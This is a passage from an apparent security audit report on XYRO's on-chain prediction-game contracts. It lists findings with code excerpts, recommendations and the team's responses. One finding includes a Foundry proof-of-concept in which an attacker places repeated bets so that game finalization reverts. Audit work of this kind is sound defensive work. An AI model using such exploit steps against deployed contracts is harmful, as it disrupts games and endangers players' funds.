      await Game.connect(alice).play(true, usdtAmount, currentGameId);
      await time.increase(fortyFiveMinutes);
      console.log("before finalize alice deposits: ", await Treasury.deposits(await
USDT.getAddress(), alice.address));
      console.log("before finalize bob deposits: ", await Treasury.deposits(await
USDT.getAddress(), bob.address));
      console.log("before finalize owner deposits: ", await Treasury.deposits(await
USDT.getAddress(), owner.address));
      const finalizeTime = await time.latest();
      tx = await Game.finalizeGame(
        abiEncodeInt192WithTimestamp(
          finalPriceTP.toString(),
          feedNumber,
          finalizeTime
        ),
        currentGameId
      );
      receipt = await tx.wait();
      let game = await Game.decodeData(currentGameId);
      expect(game.gameStatus).to.be.equal(Status.Finished);
      expect(game.finalPrice).to.be.equal(
        finalPriceTP / BigInt(Math.pow(10, 14))
      );
```

```
      expect(game.isLong).to.be.equal(isLong);
      expect(game.feedNumber).to.be.equal(feedNumber);
      expect(game.stopLossPrice).to.be.equal(slPrice);
      expect(game.takeProfitPrice).to.be.equal(tpPrice);
      expect(game.startringPrice).to.be.equal(
        assetPrice / BigInt(Math.pow(10, 14))
      );
      expect(game.endTime).to.be.equal(finalizeTime);
      expect(game.startTime).to.be.equal(startTime);
      expect(game.initiator).to.be.equal(owner.address);
      const bobRakeback = await Treasury.lockedRakeback(
        currentGameId,
        bob.address
      );
      await Game.connect(alice).retrieveRewards([currentGameId]);
      //get rakeback for bob
      await expect(
        Game.connect(bob).retrieveRewards([currentGameId])
      ).to.be.emit(Treasury, "UsedRakeback");

      console.log("after finalize alice deposits: ", await Treasury.deposits(await
USDT.getAddress(), alice.address));
      console.log("after finalize bob deposits: ", await Treasury.deposits(await
USDT.getAddress(), bob.address));
      console.log("after finalize owner deposits: ", await Treasury.deposits(await
USDT.getAddress(), owner.address));

      await Treasury.connect(owner).withdraw(
        await Treasury.deposits(await USDT.getAddress(), owner.address),
        await USDT.getAddress()
      );
      await Treasury.connect(bob).withdraw(
        await Treasury.deposits(await USDT.getAddress(), bob.address),
        await USDT.getAddress()
      );
      await Treasury.connect(alice).withdraw(
        await Treasury.deposits(await USDT.getAddress(), alice.address),
        await USDT.getAddress()
      );
      const finalAliceBalance = await USDT.balanceOf(alice);
      const finalOwnerBalance = await USDT.balanceOf(owner);
      const finalBobBalance = await USDT.balanceOf(bob);
      const finalTreasuryBalance = await USDT.balanceOf(
        await Treasury.getAddress()
      );
      expect(finalTreasuryBalance).to.be.above(oldTreasuryBalance);
      expect(finalOwnerBalance).to.be.above(oldOwnerBalance);
      expect(finalAliceBalance).to.be.above(oldAliceBalance);
      expect(oldBobBalance - finalBobBalance).to.be.equal(
```

```
        usdtAmount - bobRakeback
      );
    });
```

Result

```
 Setup Game
    Finalize game
before finalize alice deposits:  0n
before finalize bob deposits:  0n
before finalize owner deposits:  0n
after finalize alice deposits:  176989999n
after finalize bob deposits:  3000000n
after finalize owner deposits:  10010000n
      ✔ should end setup game long tp wins (77ms)


  1 passing (3s)
```

Recommendation

We recommend modifying the `withdrawInitiatorFee` function to apply the `initiatorFee` to the total deposits.

In addition, the two parts of the fee should be calculated separately and then summed to prevent locked array underflow due to inconsistencies in the calculation, as shown below:

`withdrawnFees = wonTeamDeposits * initiatorFee / FEE_DENOMINATOR + lostTeamDeposits * initiatorFee / FEE_DENOMINATOR;`

Alleviation

[XYRO, 12/25/2024]:

The team partially resolved this issue in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73. However, the calculation is done using the formula `withdrawnFees = ((wonTeamDeposits + lostTeamDeposits) * initiatorFee) / FEE_DENOMINATOR;` instead of being split as suggested, and the inconsistency still exists.

[XYRO, 12/31/2024]:

The team resolved this issue by heeding the advice in the updated version c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e.

TRE-03 MANIPULABLE RAKEBACK CALCULATION BASED ON TOKEN BALANCE

Category	Severity	Location	Status
Logical Issue	Medium	Treasury.sol (12/03-740df0): 518	Acknowledged

Description

The `calculateRakebackAmount` function calculates the rakeback based on the balance of `xyroToken` held by a user. This approach is vulnerable to manipulation, as users can temporarily transfer `xyroToken` to their account to increase their balance and receive a higher rakeback rate, thus reducing their asset loss. Below is the relevant code snippet:

```
function calculateRakebackAmount(
    address target,
    uint256 initialDeposit
) public view returns (uint256) {
    uint256 targetBalance = IERC20(xyroToken).balanceOf(target);
    if (
        targetBalance <
        rakebackRate[0] * 10 ** IERC20Mint(xyroToken).decimals()
    ) {
        return 0;
    }
    uint256 rate;
    for (uint256 i = 10; i > 0; i--) {
        if (
            targetBalance >=
            rakebackRate[i - 1] * 10 ** IERC20Mint(xyroToken).decimals()
        ) {
            rate = i;
            break;
        }
        rate = 0;
    }
    return (initialDeposit * rate * 100) / FEE_DENOMINATOR;
}
```

Recommendation

It is suggested to introduce a lock mechanism to avoid the balance manipulation.

Alleviation

[XYRO, 12/25/2024]:

We are aware of this case, so we use `calculateRakebackAmount` only when a player enters the game, so the rakeback amount won't be changed by the end of the game. Where needed rakeback is stored within game contracts for future usage in game finalization.

[CertiK, 12/26/2024]:

Since the balance can be manipulated, each player might receive the maximum rakeback, which may deviate from the project's intended design. We continue to recommend implementing a lock mechanism to prevent balance manipulation.

TRE-06 MISSING MINIMUM DEPOSIT REQUIREMENT IN `lock` FUNCTION

Category	Severity	Location	Status
Logical Issue	Medium	Treasury.sol (12/03-740df0): 299~315	Resolved

Description

The `lock` function is responsible for locking tokens for a game and is invoked by other functions like `playWithDeposit` and `createGameWithDeposit`. However, unlike the deposit functions `depositAndLock`, `depositAndLockWithPermit` etc, `lock` does not enforce the requirement that the amount must be greater than or equal to `minDepositAmount[token]`. This omission allows players to lock fewer tokens than intended, potentially undermining game mechanics. Below is the relevant code snippet:

```
function lock(
    uint256 amount,
    address from,
    bytes32 gameId,
    bool isRakeback
) public onlyRole(DISTRIBUTOR_ROLE) returns (uint256 rakeback) {
    address token = gameToken[gameId];
    require(approvedTokens[token], "Unapproved token");
    require(deposits[token][from] >= amount, "Insufficent deposit amount");
    // Missing minDepositAmount[token] check
    if (isRakeback) {
        rakeback = calculateRakebackAmount(from, amount);
        lockedRakeback[gameId][from] += rakeback;
    }
    deposits[token][from] -= amount;
    locked[gameId] += amount;
}
```

Recommendation

Add a check in the `lock` function to ensure that the `amount` is greater than or equal to `minDepositAmount[token]`. This ensures consistency across the contract and maintains the intended game mechanics.

Alleviation

[XYRO, 12/25/2024]:

The team resolved this issue by heeding the advice in the updated version

0a08cfae3ad04994241553312aa406350ebb3c73.

UDB-02 UPDOWN GAME FINALIZING FAILURE BY MISSING `isParticipating` ASSIGNMENT TO `msg.sender` IN `playWithDeposit()` FUNCTION

Category	Severity	Location	Status
Access Control	Medium	UpDown.sol (12/03-740df0): 143~178	Resolved

Description

Due to forgetting to set `isParticipating` of `msg.sender` to `true`, `msg.sender` can play the same game round multiple times, with their `deposits` being set to the amount of their last bet:

```
126     function playWithDeposit(bool isLong, uint256 depositAmount) public {
127         require(depositAmount >= minDepositAmount, "Wrong deposit amount");
128         require(!isParticipating[msg.sender], "Already participating");
129         require(
130             DownPlayers.length + UpPlayers.length + 1 <= maxPlayers,
131             "Max player amount reached"
132         );
133         GameInfo memory game = decodeData();
134         require(
135             game.stopPredictAt > block.timestamp &&
136                 (game.totalDepositsDown + depositAmount <= type(uint32).max ||
137                     game.totalDepositsUp + depositAmount <= type(uint32).max),
138             "Game is closed for new players"
139         );
140         if (isLong) {
141             //rewrites totalDepositsUp
142             packedData =
143                 (packedData & ~(uint256(0xFFFFFFFF) << 168)) |
144                 ((depositAmount + game.totalDepositsUp) << 168);
145             UpPlayers.push(msg.sender);
146         } else {
147             //rewrites totalDepositsDown
148             packedData =
149                 (packedData & ~(uint256(0xFFFFFFFF) << 136)) |
150                 ((depositAmount + game.totalDepositsDown) << 136);
151             DownPlayers.push(msg.sender);
152         }
153         depositAmounts[msg.sender] = depositAmount;
154         ITreasury(treasury).lock(depositAmount, msg.sender);
155         emit UpDownNewPlayer(msg.sender, isLong, depositAmount, currentGameId);
156     }
```

An attacker can repeatedly place small bets (e.g., 1 USDT) and then place a larger bet (e.g., 2 USDT). As a result, all of their bets will be updated to the last bet's amount (2 USDT) during the game finalization.At this point, the treasury will revert due to an underflow when it tries to distribute funds, because the funds locked in the contract for that round of the game are insufficient. This results in the `finalizeGame()` transaction failing.

Scenario

The following scenario is constructed:

1. The game master calls `startGame()` to start the game.
2. Players participate in the game as usual.
3. The attacker places bets: 1 USDT and 2 USDT on "Up", and 1 USDT and 2 USDT on "Down".
4. The game master calls `setStartingPrice()` to set the initial price.
5. The game master calls `finalizeGame()` to settle the game, but it fails because the distribution is insufficient.

In this case, the game master can only call `closeGame()` to end the game and refund the funds.

Proof of Concept

Below is the Foundry test:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";
import {Treasury} from "../contracts/Treasury.sol";
import {IDataStreamsVerifier,UpDown} from "../contracts/UpDown.sol";
import {MockERC20} from "./MockERC20.sol";
import {XyroToken} from "../contracts/XyroToken.sol";

contract UpDownTest is Test {

    Treasury public treasury;
    UpDown public updown;
    MockERC20 public usdt;
    XyroToken public xyroToken;
    address public dataStreamVerifier =
address(uint160(uint256(keccak256("dataStreamVerifier"))));

    address public deployer = address(uint160(uint256(keccak256("deployer"))));
    address public attacker = address(uint160(uint256(keccak256("attacker"))));
    address public player = address(uint160(uint256(keccak256("player"))));

    function setUp() public {
        vm.startPrank(deployer);

        usdt = new MockERC20("Tether USD","USDT",6,1000_000_000);

        //Initial funding
        usdt.transfer(player, 1_000 * 10 ** usdt.decimals());
        usdt.transfer(attacker, 1_000 * 10 ** usdt.decimals());

        xyroToken = new XyroToken(1000_000_000 * 10 ** 18);

        //Convenience, not using proxy mode
        treasury = new Treasury();

        treasury.initialize(address(usdt), address(xyroToken));

        treasury.setUpkeep(dataStreamVerifier);

        updown = new UpDown();
        updown.setTreasury(address(treasury));

        updown.grantRole(keccak256("GAME_MASTER_ROLE"), deployer);
        treasury.grantRole(keccak256("DISTRIBUTOR_ROLE"), address(updown));

        vm.stopPrank();

    }
```

```
    function test_StopGame() public{

        uint8 feedNumber = uint8(10);
        bytes memory unverifiedReport1 = "mock1";
        bytes memory unverifiedReport2 = "mock2";

        vm.startPrank(deployer);

        updown.startGame(uint32(block.timestamp + 2 minutes), uint32(block.timestamp
+ 1 minutes), 1 * 10 ** usdt.decimals(), address(usdt),feedNumber);

        vm.stopPrank();

        vm.warp(block.timestamp + 1);

        vm.startPrank(player);

        usdt.approve(address(treasury), 100 * 10 ** usdt.decimals());

        //player normally play this game
        updown.play(false, 1 * 10 ** usdt.decimals());

        vm.stopPrank();

        vm.startPrank(attacker);

        usdt.approve(address(treasury), type(uint256).max);

        treasury.deposit(10 * 10 ** usdt.decimals(),address(usdt));

        //attacker carries out the attack
        updown.playWithDeposit(true, 1 * 10 ** usdt.decimals());
        updown.playWithDeposit(true, 2 * 10 ** usdt.decimals());
        updown.playWithDeposit(false, 1 * 10 ** usdt.decimals());
        updown.playWithDeposit(false, 2 * 10 ** usdt.decimals());

        vm.stopPrank();

        vm.warp(block.timestamp + 1 minutes);

        vm.startPrank(deployer);

        vm.mockCall(dataStreamVerifier,
abi.encodeWithSelector(IDataStreamsVerifier.verifyReportWithTimestamp.selector,unver
ifiedReport1,feedNumber),
        abi.encode(int192(10 ** 18),uint32(block.timestamp)));

        //set the price
```

```
        updown.setStartingPrice(unverifiedReport1);

        vm.warp(block.timestamp + 1 minutes);

        //increase the token price
        vm.mockCall(dataStreamVerifier,
abi.encodeWithSelector(IDataStreamsVerifier.verifyReportWithTimestamp.selector,unver
ifiedReport2,feedNumber),
        abi.encode(int192(10 ** 18 + 10 ** 14),uint32(block.timestamp)));

        vm.expectRevert();
        updown.finalizeGame(unverifiedReport2);

        console.log("can't finalize game");

        // vm.expectRevert();
        updown.closeGame();

        console.log("can close game");

        vm.stopPrank();

    }
}
```

Additionally, the corresponding USDT mock contract:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;


import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {

    uint8 _decimals;

    constructor(string memory name_, string memory symbol_,uint256 decimals_,uint256
amount) ERC20(name_,symbol_) {

        _decimals = uint8(decimals_);
        _mint(_msgSender(),amount * 10 ** _decimals);

    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }
}
```

Recommendation

Set msg.sender's isParticipating[] to true at the end of the playWithDeposit() function.

Alleviation

[XYRO, 12/25/2024]:

The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

UDB-04 FAILURE TO RESET `totalDepositsUp` AND `totalDepositsDown` IN `finalizeGame` FUNCTION

Category	Severity	Location	Status
Coding Issue	Medium	UpDown.sol (12/03-740df0): 348~371	Resolved

Description

When `uint192(finalPrice / 1e14) == _game.startingPrice`, after refunding the tokens to the user, the user's `depositAmounts` are not set to 0, and `totalDepositsUp` and `totalDepositsDown` are not reset to 0: `UpDown.sol`

```
348  else if (uint192(finalPrice / 1e14) == _game.startingPrice) {
349              for (uint i; i < UpPlayers.length; i++) {
350                  ITreasury(treasury).refund(
351                      depositAmounts[UpPlayers[i]],
352                      UpPlayers[i],
353                      currentGameId
354                  );
355                  isParticipating[UpPlayers[i]] = false;
356              }
357              delete UpPlayers;
358              for (uint i; i < DownPlayers.length; i++) {
359                  ITreasury(treasury).refund(
360                      depositAmounts[DownPlayers[i]],
361                      DownPlayers[i],
362                      currentGameId
363                  );
364                  isParticipating[DownPlayers[i]] = false;
365              }
366              delete DownPlayers;
367              emit UpDownCancelled(currentGameId);
368              packedData = 0;
369              currentGameId = bytes32(0);
370              return;
371          }
```

This will cause the variables from the current round to be included in the next round's game, leading to confusion. It may result in the `finalizeGame()` function for the next game being unable to execute.

Recommendation

It is recommended to set the user's `depositAmounts` to 0, and reset `totalDepositsUp` and `totalDepositsDown` to 0.

Alleviation

[XYRO, 12/25/2024]:

The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

UDU-01 `startingPrice` NOT SET TO ZERO WHEN THE GAME IS INVALID

Category	Severity	Location	Status
Coding Issue	Medium	UpDown.sol (12-26/0a08cf): 304~311	Resolved

Description

In the case where `UpPlayers.length == 0 || DownPlayers.length == 0`, the game is invalid, and the game principal should be refunded to the players, followed by a return. However, before the return, `startingPrice` is not set to zero: `UpDown.sol`

```
304             emit UpDownCancelled(currentGameId);
305             packedData = 0;
306             totalDepositsUp = 0;
307             totalDepositsDown = 0;
308             totalRakebackUp = 0;
309             totalRakebackDown = 0;
310             currentGameId = bytes32(0);
311             return;
```

This will result in an existing `startingPrice` before the next game starts.

Recommendation

Set `startingPrice` to zero before the return.

Alleviation

[XYRO, 12/31/2024]:

The team resolved this issue by heeding the advice in the updated version c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e.

BUL-01 INCORRECT HANDLING OF TOP PLAYER TIMESTAMPS IN `finalizeGame` FUNCTION

Category	Severity	Location	Status
Logical Issue	Minor	Bullseye.sol (12/03-740df0): 277~301	Acknowledged

Description

In the `finalizeGame` function, there are two issues related to the handling of top player timestamps when determining the winners based on their guess differences. The relevant code snippet is:

```
for (uint256 i = 0; i < 3; i++) {
    if (currentDiff < closestDiff[i]) {
        for (uint256 k = 2; k > i; k--) {
            closestDiff[k] = closestDiff[k - 1];
            topPlayers[k] = topPlayers[k - 1];
            topIndexes[k] = topIndexes[k - 1];
        }
        closestDiff[i] = currentDiff;
        topPlayers[i] = playerGuessData.player;
        topTimestamps[i] = playerGuessData.timestamp;
        topIndexes[i] = j;
        break;
    } else if (
        currentDiff == closestDiff[i] &&
        playerGuessData.timestamp < topTimestamps[i]
    ) {
        for (uint256 k = 2; k > i; k--) {
            closestDiff[k] = closestDiff[k - 1];
            topPlayers[k] = topPlayers[k - 1];
            topIndexes[k] = topIndexes[k - 1];
        }
        topIndexes[i] = j;
        topPlayers[i] = playerGuessData.player;
        // Missing topTimestamps update
        break;
    }
}
```

1. **Issue with Moving Top Player Info:** When shifting the top player information, the `topTimestamps` array is not updated correspondingly. This may lead to incorrect evaluations of timestamp conditions.
2. **Missing Update of `topTimestamps` :** Under the condition `currentDiff == closestDiff[i] && playerGuessData.timestamp < topTimestamps[i]` , the `topTimestamps` array is not updated. This oversight can

result in inaccurate timestamp comparisons in subsequent iterations.

Recommendation

It is suggested to ensure that the `topTimestamps` array is updated along with other top player information during both the shifting and setting processes.

Alleviation

[XYRO, 12/25/2024]: Fixed this issue, please check commit hash: c811ebcf19d9cab0770e1d2218361661942dc2cd

[CertiK, 12/26/2024]:
In the updated version 0a08cfae3ad04994241553312aa406350ebb3c73, the team added the setting of `topTimestamps[i]` at Line #326. However, the `topTimestamps` array remains unchanged during the shifting of items.

BUL-02 | RATE ISSUES IN BULLSEYE

Category	Severity	Location	Status
Inconsistency	Minor	Bullseye.sol (12/03-740df0): 14~20, 306~327, 453~473	Resolved

Description

According to the official documentation xyro.io, when the number of participants is between 2 and 5, if the price is hit exactly, the first place receives 100%, otherwise, the first place gets 90% and the second place receives 10%. However, the code does not differentiate this situation and simply awards 100% of the rate bonus to the first place:

`Bullseye.sol`

```
14      uint256[3][5] public rates = [
15          [10000, 0, 0],
16          [7500, 2500, 0],
17          [9000, 1000, 0],
18          [5000, 3500, 1500],
19          [7500, 1500, 1000]
20      ];
```

`Bullseye.sol`

```
306         if (packedGuessData.length <= 5) {
307             ITreasury(treasury).withdrawGameFee(
308                 totalDeposited - depositAmount,
309                 fee,
310                 currentGameId
311             );
312             currentRates = rates[0];
313         } else if (packedGuessData.length <= 10) {
314             ITreasury(treasury).withdrawGameFee(
315                 totalDeposited - 2 * depositAmount,
316                 fee,
317                 currentGameId
318             );
319             currentRates = closestDiff[0] <= exactRange ? rates[2] : rates[1];
320         } else {
321             ITreasury(treasury).withdrawGameFee(
322                 totalDeposited - 3 * depositAmount,
323                 fee,
324                 currentGameId
325             );
326             currentRates = closestDiff[0] <= exactRange ? rates[4] : rates[3];
327         }
```

There is an error in the official documentation regarding the distribution for exact price hits when there are 10+ players. It should align with the contract: 1st place - 75%, 2nd place - 15%, 3rd place - 10%.

Additionally, the current `getRateIndex` function returns an index with a maximum value of 5, but the largest index in the `rates` array is 4: `Bullseye.sol`

```
453             function getRateIndex(
454         uint256 playersCount,
455         bool isExact
456     ) public pure returns (uint256 index) {
457         if (playersCount <= 5) {
458             index = isExact ? 1 : 0;
459         } else if (playersCount <= 10) {
460             index = isExact ? 3 : 2;
461         } else {
462             index = isExact ? 5 : 4;
463         }
464     }
465 
466     function setRate(
467         uint256[3] memory rate,
468         uint256 playersCount,
469         bool isExact
470     ) public onlyRole(DEFAULT_ADMIN_ROLE) {
471         rates[getRateIndex(playersCount, isExact)] = rate;
472     }
473 }
```

Recommendation

It is recommended that the project team clarify the rate distribution in Bullseye and modify both the contract and the documentation to reflect the correct distribution for awarding the winners' rewards.

Alleviation

[XYRO Team, 12/24/2024]: The documentation on the website is for the version that is on the website. Now you have a new version in review, we will update the documentation on the site when it is released. This version is up to date.

[CertiK, 12/25/2024]: Thank you for your reply. You have confirmed that the current rate allocation method is correct, so the logic of the getRateIndex and setRate functions is incorrect. It should be modified to ensure consistency with the rates array and reward settlement.

[XYRO, 12/31/2024]:
The team resolved this issue by heeding the advice in the updated version c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e.

BUL-03 POTENTIAL DUPLICATE RAKEBACK CALCULATION FOR TOP PLAYERS

Category	Severity	Location	Status
Logical Issue	Minor	Bullseye.sol (12/03-740df0): 116, 332~335	Acknowledged

Description

In the `Bullseye` contract, a player can join the game multiple times, and each entry is considered valid. However, during the game's finalization, if a player secures multiple positions within the `topPlayers` array, their rakeback is calculated multiple times. This may result in the winner's rewards inadvertently including portions of the losers' rakeback. This issue, while extreme, can occur under specific conditions.

```
for (uint i = 0; i < 3; i++) {
    if (currentRates[i] != 0) {
        winnersRakeback += ITreasury(treasury).lockedRakeback(
            currentGameId,
            topPlayers[i]
        );
    }
}
```

Recommendation

We suggest implementing measures to ensure that each user can join the game only once, if feasible.

Alleviation

[XYRO, 12/25/2024]:
Rakeback should be calculated for each time player enters a game. So if player has a loosing position and a winning one he will get rakeback for his loss only. Multiple game participation is mandatory for this game.

[CertiK, 12/26/2024]:

We observed that in `distributeBullseye`, you only subtract the `lockedRakeback` of the winning bets.

However, in `finalizeGame()`, the `winnerRakeback` is calculated before this, and all rakebacks of the winning player's bets (whether they win or lose) are added to `winnersRakeback`, which results in the reward distributed to the winner in `distributeBullseye` being higher than the actual value:

`Bullseye.sol`

```
330         for (uint i = 0; i < 3; i++) {
331             if (currentRates[i] != 0) {
332                 winnersRakeback += ITreasury(treasury).lockedRakeback(
333                     currentGameId,
334                     topPlayers[i]
335                 );
336             }
337         }
338 
339         for (uint256 i = 0; i < 3; i++) {
340             if (topPlayers[i] != address(0)) {
341                 if (currentRates[i] != 0) {
342                     ITreasury(treasury).distributeBullseye(
343                         currentRates[i],
344                         totalRakeback - winnersRakeback,
345                         topPlayers[i],
346                         currentGameId
347                     );
348                 }
349             }
350         }
```

As a result, `winnersRakeback` will be greater than the actual value, leading to `totalRakeback - winnersRakeback` (which is `lostTeamRakeback`) being less than the actual value. This causes the total reward calculated for the winner as `locked[gameId] - lostTeamRakeback` to be greater than the actual value:

`Treasury.sol`

```
488         if (rate == FEE_DENOMINATOR) {
489             wonAmount = locked[gameId] - lostTeamRakeback;
490         } else {
491             wonAmount =
492                 ((locked[gameId] - lostTeamRakeback) * rate) /
493                 FEE_DENOMINATOR;
494         }
```

BUS-02 INAPPROPRIATE `exactRange` VALUE FOR 18 DECIMAL PRICE PRECISION

Category	Severity	Location	Status
Volatile Code	Minor	Bullseye.sol (12-26/0a08cf): 11	Resolved

Description

In the `Bullseye` contract, the `exactRange` variable is used to determine if a player's guessed price is sufficiently close to the `finalPrice`, which in turn affects the distribution rate. Previously, the price was represented with 4 decimals, and the default `exactRange` was set to `50000`. However, in the current version, the price is represented with 18 decimals. Continuing to use `50000` as the default `exactRange` value may lead to incorrect evaluations due to the increased precision. This could potentially affect the fairness and accuracy of the game's outcome.

Recommendation

Adjust the `exactRange` value to account for the 18 decimal precision of the price. Consider recalculating the appropriate range based on the new precision to ensure accurate and fair evaluations.

Alleviation

[XYRO, 12/31/2024]:
The team resolved this issue by heeding the advice in the updated version c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e.

CON-03 | POTENTIAL GAME ID COLLISION RISK

Category	Severity	Location	Status
Volatile Code	Minor	OneVsOneExactPrice.sol (12/03-740df0): 108~110; Setup.sol (12/03-740df0): 128~136	Resolved

Description

In the provided code snippets, game IDs are generated using the `keccak256` hash function with parameters such as `block.timestamp`, `endTime`, `msg.sender`, and other variables. The concern arises when multiple instances of the same game contract are deployed, and they share a common treasury contract. This can lead to potential game ID collisions.

OneVsOneExactPrice Contract:

```
bytes32 gameId = keccak256(
    abi.encodePacked(endTime, block.timestamp, msg.sender, opponent)
);
```

Setup Contract:

```
bytes32 gameId = keccak256(
    abi.encodePacked(
        block.timestamp,
        endTime,
        takeProfitPrice,
        stopLossPrice,
        msg.sender
    )
);
```

If the same parameters are used across different game contracts, the generated game IDs might be identical. When these IDs are used in a shared treasury contract, they could interfere with each other, potentially leading to asset loss and other unintended side effects.

Recommendation

To mitigate the risk of game ID collisions, consider incorporating a unique identifier, such as `address(this)`, for each contract deployment.

Alleviation

[XYRO, 12/31/2024]:

The team resolved this issue by heeding the advice in the updated version c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e.

CON-04 | MISSING ZERO ADDRESS VALIDATION

Category	Severity	Location	Status
Volatile Code	Minor	Setup.sol (12/03-740df0): 97; Treasury.sol (12/03-740df0): 45, 87	Resolved

Description

The cited address input is missing a check that it is not `address(0)` .

Recommendation

We recommend adding a check the passed-in address is not `address(0)` to prevent unexpected errors.

Alleviation

[XYRO, 12/26/2024]:

The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

CON-05 MISSING DEPOSIT AMOUNT VALIDATION IN GAME CONTRACTS

Category	Severity	Location	Status
Logical Issue	Minor	Bullseye.sol (12/03-740df0): 99; UpDown.sol (12/03-740df0): 83	Resolved

Description

In the `Bullseye` and `UpDown` contracts, `minDepositAmount` and `depositAmount` is set when starting a game. However, there is no validation to ensure that `minDepositAmount` and `depositAmount` matches the `minDepositAmount[token]` specified in the `Treasury` contract. This lack of validation can prevent players from joining the game if the deposit amount is incorrect.

Recommendation

Implement a validation check in the `Bullseye` and `UpDown` contracts to ensure that ensure that `depositAmount` and `minDepositAmount` are greater than or equal to `minDepositAmount[token]` from the `Treasury` contract before proceeding with the game setup.

Alleviation

[XYRO, 12/25/2024]:

The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

CON-09 THE UNVALIDATED `stopPredictAt` AND `feedNumber` IN `startGame()`

Category	Severity	Location	Status
Logical Issue	Minor	Bullseye.sol (12/03-740df0): 83~89; UpDown.sol (12/03-740df0): 66~72	Resolved

Description

In `startGame()`, there is no validation to check if `stopPredictAt` is greater than the current `block.timestamp`, and `feedNumber` is not validated to ensure it is a valid `feedNumber` capable of producing a price.

Recommendation

It is recommended that `stopPredictAt` should not only be validated to be greater than `block.timestamp`, but also ensure that the gap between `stopPredictAt` and `block.timestamp` is no less than the `minDuration`. Additionally, `feedNumber` should be validated as in `OneVsOneExactPrice` to confirm the `assetId`.

Alleviation

[XYRO, 12/25/2024]:

The team parity resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73. However, the code still does not check if `stopPredictAt` is greater than the current `block.timestamp` plus the `minDuration`.

[XYRO, 12/31/2024]:

The team resolved this issue by heeding the advice in the updated version c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e.

CON-10 | PRICE STORAGE SIZE AND PRICE PRECISION ISSUES

Category	Severity	Location	Status
Design Issue	Minor	Bullseye.sol (12/03-740df0): 116, 152, 187~188, 257; OneVsOneExactPrice.sol (12/03-740df0): 88, 155, 217, 281, 321, 362, 469~474, 535; Setup.sol (12/03-740df0): 113~114, 145~157, 417~419, 427~432, 461, 493~498, 529, 571; UpDown.sol (12/03-740df0): 251, 307, 328, 348	Resolved

Description

In all games, the price precision used is 4 decimals. This is suitable for higher-priced tokens. However, for lower-priced tokens, this design doesn't effectively capture the price changes of the token. For example, for a token priced at $1000, a price change of 0.00001%($0.0001) would be considered a price change in the game. However, for a token priced at $0.01, a price change of 1%($0.0001) would need to occur before it is recognized as a price change.

At the same time, using `uint32` to store 4-decimal prices allows for a maximum token price of around $420,000. This will not be scalable in the future when token prices increase, and it also prevents the inclusion of some high-priced tokens, such as high-value LP tokens from Uniswap V2.

Recommendation

If necessary, it is recommended to adopt a price storage design that better captures price changes, while also expanding the size of the price storage to accommodate higher-value tokens.

Alleviation

[XYRO, 12/25/2024]:
The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

CON-12 | THIRD-PARTY DEPENDENCY USAGE

Category	Severity	Location	Status
Volatile Code	Minor	Bullseye.sol (12/03-740df0): 6; OneVsOneExactPrice.sol (12/03-740df0): 6; Setup.sol (12/03-740df0): 6; UpDown.sol (12/03-740df0): 6	Acknowledged

Description

The game contracts (`Bullseye` , `UpDown` , `Setup` and `OneVsOneExactPrice`) are serving as the underlying entity to interact with Chainlink data stream protocol. The scope of the audit treats third party entities as black boxes and assumes their functional correctness. However, in the real world, third parties can be compromised and this may lead to lost or stolen assets. In addition, upgrades of third parties can possibly create severe impacts, such as increasing fees of third parties, migrating to new LP pools, etc.

```
import {IDataStreamsVerifier} from "./interfaces/IDataStreamsVerifier.sol";

...

        (int192 startingPrice, uint32 startTime) = IDataStreamsVerifier(
            ITreasury(treasury).upkeep()
        ).verifyReportWithTimestamp(unverifiedReport, feedNumber);
```

Besides, the `ITreasury(treasury).upkeep()` should be set as the trusted `DataStreamsVerifier` contract by the `DEFAULT_ADMIN_ROLE` of `Treasury` contract.

Recommendation

We understand that the business logic of this protocol requires interaction with ChainLink. We encourage the team to constantly monitor the statuses of third parties to mitigate the side effects when unexpected activities are observed.

Alleviation

[XYRO Team, 12/23/2024]:

Issue acknowledged. I won't make any changes for the current version.

[XYRO Team, 12/24/2024]: We communicate closely with the Chainlink team and they alert us to any changes in advance. We make sure that we always use the latest version.

The DataStreamsVerifier contract itself is a copy of their contract. But it's maintained by us. We didn't audit it because it's a copy of their contract.

CON-13 POTENTIAL INSUFFICIENT TIME GAP BETWEEN `stopPredictAt` AND `endTime`

Category	Severity	Location	Status
Logical Issue	Minor	Bullseye.sol (12/03-740df0): 91; UpDown.sol (12/03-740df0): 74	Resolved

Description

The `startGame` function allows the creation of a game with specified parameters including `endTime` and `stopPredictAt`. Currently, it only checks if `endTime` is greater than `stopPredictAt`:

`UpDown.sol`

```
74    require(endTime > stopPredictAt, "Ending time must be higher");
```

or `endTime` is greater than `block.timestamp`:

`Bullseye.sol`

```
91    require(endTime > block.timestamp, "Wrong ending time");
```

This condition is insufficient as it does not enforce a significant time gap between `stopPredictAt` and `endTime`. If the gap is too small, players who join later have an advantage due to the predictability of price changes over short periods. This could lead to an unfair game environment.

Recommendation

Implement an additional requirement to enforce a minimum time gap between `stopPredictAt` and `endTime` and ensure the gap is reasonable.

Alleviation

[XYRO, 12/25/2024]:
The team partially resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

[CertiK, 12/26/2024]:
After our re-check, we found that `Bullseye` also has this issue and needs a time limit added.

[XYRO, 12/31/2024]:
